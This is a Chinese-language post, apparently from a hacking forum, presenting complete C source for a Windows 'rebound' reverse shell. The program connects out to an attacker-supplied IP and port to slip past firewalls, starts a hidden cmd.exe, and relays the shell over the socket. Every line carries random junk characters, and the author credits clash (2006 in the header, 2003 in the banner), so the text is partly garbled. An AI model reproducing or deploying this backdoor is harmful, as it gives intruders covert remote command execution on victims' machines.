这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 AZva
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/* ============================== ,U.|+i{
Rebound port in Windows NT O'S9y
By wind,2006/7 8TCbEPS@Q
===============================*/ rw%OA4>
#include /X;!
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#include }*c[}VLN
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#pragma comment(lib,"wsock32.lib") @=qWwt4~
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void OutputShell(); y$+_9VzYB
SOCKET sClient; #YK=e&da
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $d
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void main(int argc,char **argv) V3$zlzSm,
{ &{S@v9~IT
WSADATA stWsaData; ;-VXp80J
int nRet; o"g<Vz
SOCKADDR_IN stSaiClient,stSaiServer; v*^'|QyM7
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if(argc != 3) 9PG3cCr?
{ Vo9FlYj
printf("Useage:\n\rRebound DestIP DestPort\n"); @wh-.MD
return; !_?#f|
} 4R&pb1eF
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WSAStartup(MAKEWORD(2,2),&stWsaData); E+P-)bRa
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); .2SD)<}(9
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stSaiClient.sin_family = AF_INET; oT9qd@uQ0:
stSaiClient.sin_port = htons(0); Bs\&'=l
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?S'Wd=
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j=Z;M1
{ V-lp';bD
printf("Bind Socket Failed!\n"); wcL|{rUXba
return; Dj{=Y`Tw
} ^`f qK4<
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stSaiServer.sin_family = AF_INET; 4B@Ir)^(*
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sK7b4gmK
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); PDpDkcy|QM
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) p*~b5'+ C+
{ afye$$X
printf("Connect Error!"); x*wr8$@J
return; M+WN \.2pX
} QVe<Z A8N;
OutputShell(); ?,
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} P.kf|,8L
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void OutputShell() YT<(2u#Ng
{ f&?
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char szBuff[1024]; xn}HB
SECURITY_ATTRIBUTES stSecurityAttributes; Cf3<;Mp<
OSVERSIONINFO stOsversionInfo; #g]eDU-[
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; h`:B8+k
STARTUPINFO stStartupInfo; 59k-,lyU,
char *szShell; 6 IKi*}
PROCESS_INFORMATION stProcessInformation; <4%PT2R
unsigned long lBytesRead; $aj:\A0f
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^o Q^/v~
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); @"0n8y
stSecurityAttributes.lpSecurityDescriptor = 0; r_3=+
stSecurityAttributes.bInheritHandle = TRUE; jiP^Hz"e
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zX&wfE8T
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 9 tIE+RD
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); XVYj
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1qh SN#s{_
stStartupInfo.wShowWindow = SW_HIDE; TTz_w-68
stStartupInfo.hStdInput = hReadPipe; nh>lDfJV<
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xN44>3#
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GetVersionEx(&stOsversionInfo); [\.@,Y0j
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switch(stOsversionInfo.dwPlatformId) YBQ{/"v%|
{ gU@BEn}
case 1: 3=IY0Q>/(
szShell = "command.com"; >{k0N@_
break; =B"^#n ;
default: iTJE:[W"y
szShell = "cmd.exe"; h2vD*W
break; nfS.0\z
} _[S<Cb*1
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); u-HBmL
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send(sClient,szMsg,77,0); Dh .<&ri
while(1) $Zf]1?|xa
{ )"f*Mp
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); WS1#i\0
if(lBytesRead) "i;"
{ w>6cc#>q
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); FuFA/R=x/
send(sClient,szBuff,lBytesRead,0); `r*bG=
} `_>44!M
else 6|]e}I@<2
{ VU\{<j{
lBytesRead=recv(sClient,szBuff,1024,0); td(4Fw||1y
if(lBytesRead<=0) break; y/!jC]!+c
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); |Q*{yvfEo
} L'<.#(|
} +cC$4t0$^A
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return; lAo S 9w
}